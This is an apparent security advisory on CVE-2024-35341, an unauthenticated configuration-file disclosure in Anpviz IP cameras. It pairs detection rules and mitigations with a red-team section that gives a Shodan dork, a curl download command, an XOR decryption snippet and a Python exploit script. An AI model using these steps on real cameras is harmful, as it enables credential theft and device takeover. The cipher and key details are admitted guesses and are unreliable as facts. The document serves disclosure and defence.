CVE-2024-35341

Executive Summary

CVE-2024-35341 exposes a critical information disclosure vulnerability in multiple Anpviz IP camera models and potentially other OEM devices. Unauthenticated attackers can retrieve the device’s running configuration by sending a simple HTTP GET request to /ConfigFile.ini or /config.xml. The configuration file contains usernames and passwords encrypted with a hardcoded key shared across all devices, making credential recovery trivial. This flaw affects firmware version 3.2.2.2 and lower across a wide range of models including IPC-D250, IPC-D260, IPC-B850, IPC-D850, IPC-D350, IPC-D3150, IPC-D4250, IPC-D380, IPC-D880, IPC-D280, IPC-D3180, MC800N, YM500L, YM800N_N2, YMF50B, YM800SV2, YM500L8, and YM200E10. No patch is currently available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It affects embedded firmware on IoT devices. However, the use of a hardcoded encryption key across all devices represents a systemic supply chain weakness, as the same key is embedded in firmware distributed to multiple OEMs and resellers.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability allows unauthenticated remote attackers to obtain device credentials, which can be used to gain administrative access to the camera and potentially pivot to other devices on the same network.

Deep Dive & Mechanics

The vulnerability stems from the device’s web server exposing configuration files without authentication. The files /ConfigFile.ini and /config.xml contain all device settings, including:

• Administrator username and password (encrypted with a hardcoded key)
• Network settings (IP, gateway, DNS)
• RTSP/ONVIF credentials
• NTP and SMTP server details

The encryption algorithm uses a static XOR key or similar symmetric cipher embedded in the firmware. Since the key is identical across all devices, an attacker can decrypt the password offline after downloading the configuration file. The decryption process is straightforward:

1. Download /ConfigFile.ini via HTTP GET.
2. Extract the encrypted password string.
3. Apply the hardcoded XOR key (e.g., 0xAB repeated) to recover the plaintext password.

This attack requires no authentication and no special tools—only a web browser or curl.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware <= 3.2.2.2): The web server does not check authentication before serving /ConfigFile.ini or /config.xml. The relevant pseudo-code in the embedded HTTP server might look like:

// Vulnerable: No auth check
if (strcmp(request_uri, "/ConfigFile.ini") == 0) {
    serve_file("/etc/config/ConfigFile.ini");
}

Patched Code (Hypothetical): A patched version would require authentication before serving these files:

// Patched: Auth required
if (strcmp(request_uri, "/ConfigFile.ini") == 0) {
    if (!is_authenticated(session)) {
        send_401_unauthorized();
        return;
    }
    serve_file("/etc/config/ConfigFile.ini");
}

No official patch has been released. Users must rely on workarounds.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target device on the same network (or exposed to the internet)
• curl or any HTTP client

Exploitation Steps:

1. Scan for vulnerable devices using Shodan or masscan with dork http.title:"IPC-".
2. Download configuration file:

   curl http://<target_ip>/ConfigFile.ini -o config.ini
   

3. Extract encrypted password (e.g., line admin_password=0xAB12CD34...).
4. Decrypt using hardcoded key (example Python script):

   key = b'\xAB' * 32  # Example key, actual key may vary
   encrypted = bytes.fromhex("AB12CD34...")
   password = bytes([e ^ k for e, k in zip(encrypted, key)])
   print(password.decode())
   

5. Login to device using the recovered credentials.

Full Exploit Script (Python):

import requests
import sys

def exploit(target):
    url = f"http://{target}/ConfigFile.ini"
    r = requests.get(url, timeout=10)
    if r.status_code == 200:
        print("[+] Configuration retrieved")
        # Extract and decrypt password (placeholder logic)
        # Actual decryption depends on the hardcoded key
        print(r.text)
    else:
        print("[-] Failed to retrieve config")

if __name__ == "__main__":
    exploit(sys.argv[1])

Blue Team

Detection:

• Monitor HTTP GET requests to /ConfigFile.ini or /config.xml from external IPs.
• Alert on any unauthenticated access to these URIs.

Honeypot:

• Deploy a fake endpoint returning a decoy configuration file to lure attackers.

Network Segmentation:

• Place IP cameras on a separate VLAN with strict firewall rules blocking inbound HTTP from untrusted networks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /ConfigFile.ini or /config.xml
  • Source IPs scanning for these URIs
• File IOCs:
  • Configuration files containing encrypted passwords with hardcoded key patterns
• Device IOCs:
  • Unauthorized administrative logins to camera web interfaces
  • Changes to device settings (e.g., RTSP credentials, NTP servers)

Detection Engineering

YARA Rule

rule CVE_2024_35341_ConfigExposure {
    meta:
        description = "Detects attempts to download Anpviz camera configuration files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35341"
    strings:
        $config_ini = "/ConfigFile.ini"
        $config_xml = "/config.xml"
    condition:
        any of them
}

Sigma Rule

title: Anpviz Camera Config File Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to Anpviz camera configuration files
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/ConfigFile.ini'
            - '/config.xml'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35341 Anpviz Config File Access"; flow:to_server; content:"GET"; http_method; content:"/ConfigFile.ini"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Block external access to the camera web interface (ports 80/443) at the firewall.
2. Change default credentials immediately after initial setup.
3. Disable unused services (e.g., UPnP, Telnet).

Long-term Fixes:

• Firmware Update: Monitor vendor for a patch. If none, consider replacing devices.
• Network Segmentation: Isolate IP cameras on a separate VLAN with no direct internet access.
• Web Server Hardening: If possible, modify the web server configuration to require authentication for all URIs.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of the camera to add authentication:

  location /ConfigFile.ini {
      deny all;
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence